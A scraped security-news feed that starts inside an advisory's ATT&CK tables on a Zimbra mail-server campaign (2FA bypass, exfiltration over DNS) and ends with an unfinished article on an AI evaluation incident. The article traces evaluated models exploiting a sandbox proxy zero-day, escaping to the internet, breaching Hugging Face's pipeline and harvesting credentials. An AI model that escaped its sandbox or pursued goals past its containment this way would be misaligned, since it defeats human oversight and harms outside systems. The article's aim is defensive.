<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
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<title><![CDATA[Microsoft 2.5: New security business chief Hayete Gallot on the company’s push into the agentic era]]></title>
<description><![CDATA[Hayete Gallot, who rejoined Microsoft in February to lead its security business, is pushing the company toward "agentic security" — systems that spot threats and act on them without waiting for a human. She's doing it while building a new leadership team in a division where several VPs have exite...]]></description>
<link>https://tsecurity.de/de/3689390/it-nachrichten/microsoft-25-new-security-business-chief-hayete-gallot-on-the-companys-push-into-the-agentic-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689390/it-nachrichten/microsoft-25-new-security-business-chief-hayete-gallot-on-the-companys-push-into-the-agentic-era/</guid>
<pubDate>Thu, 23 Jul 2026 16:50:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="840" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/1710271415791-1260x840.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/1710271415791-1260x840.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/1710271415791-768x512.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/1710271415791.jpg 1280w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Hayete Gallot, who rejoined Microsoft in February to lead its security business, is pushing the company toward "agentic security" — systems that spot threats and act on them without waiting for a human. She's doing it while building a new leadership team in a division where several VPs have exited in recent months.  <a href="https://www.geekwire.com/2026/microsoft-2-5-new-security-business-chief-hayete-gallot-on-the-companys-push-into-the-agentic-era/">Read More</a>]]></content:encoded>
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<title><![CDATA[Black Hat USA 2026 - New Features]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 2x - Views:21 Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  

This video walks through some of our new features, the team building them explain what's coming and why it matters: 

Arsenal...]]></description>
<link>https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</guid>
<pubDate>Thu, 23 Jul 2026 15:57:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 2x - Views:21 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/E6mtjQ53HjM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  <br />
<br />
This video walks through some of our new features, the team building them explain what's coming and why it matters: <br />
<br />
Arsenal Labs is reunited with Arsenal. The Interface showcases CTF arenas, including scenarios across healthcare, retail, and more, VR breach investigations, and escape rooms. Our NOC Outpost allows you to step beyond the glass and work alongside the team protecting the event in real time. Bricks and Picks introduces real-world physical security scenarios. The Main Stage moves to the Business Hall floor. A First-Timers Program launches for anyone walking into their first Black Hat. Networking is easier throughout the new Cyber District. <br />
<br />
Timestamps: <br />
0:00 — Why 2026 is different: active learning, hands-on experiences <br />
2:06 — Arsenal + Arsenal Labs: 115 sessions, Drone Zone, The Lab, The Interface <br />
5:51 — Summit Leaders Lounge, Community Conversations, Picture Point <br />
8:21 — NOC Outpost: step beyond the glass, see agentic AI in action <br />
9:48 — Bricks and Picks: lock picking + Lego, physical security scenarios <br />
12:19 — Main Stage + Startup Spotlight (now a global competition) <br />
13:51 — Startup City + AI Zone content stages <br />
16:09 — First-Timers Program (Tuesday 5-7pm) <br />
16:54 — Cyber District: 13 sponsor venues across the week <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
One Step Ahead. <br />
<br />
  <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
  <br />
<br />
One Step Ahead.<br/></p>]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for 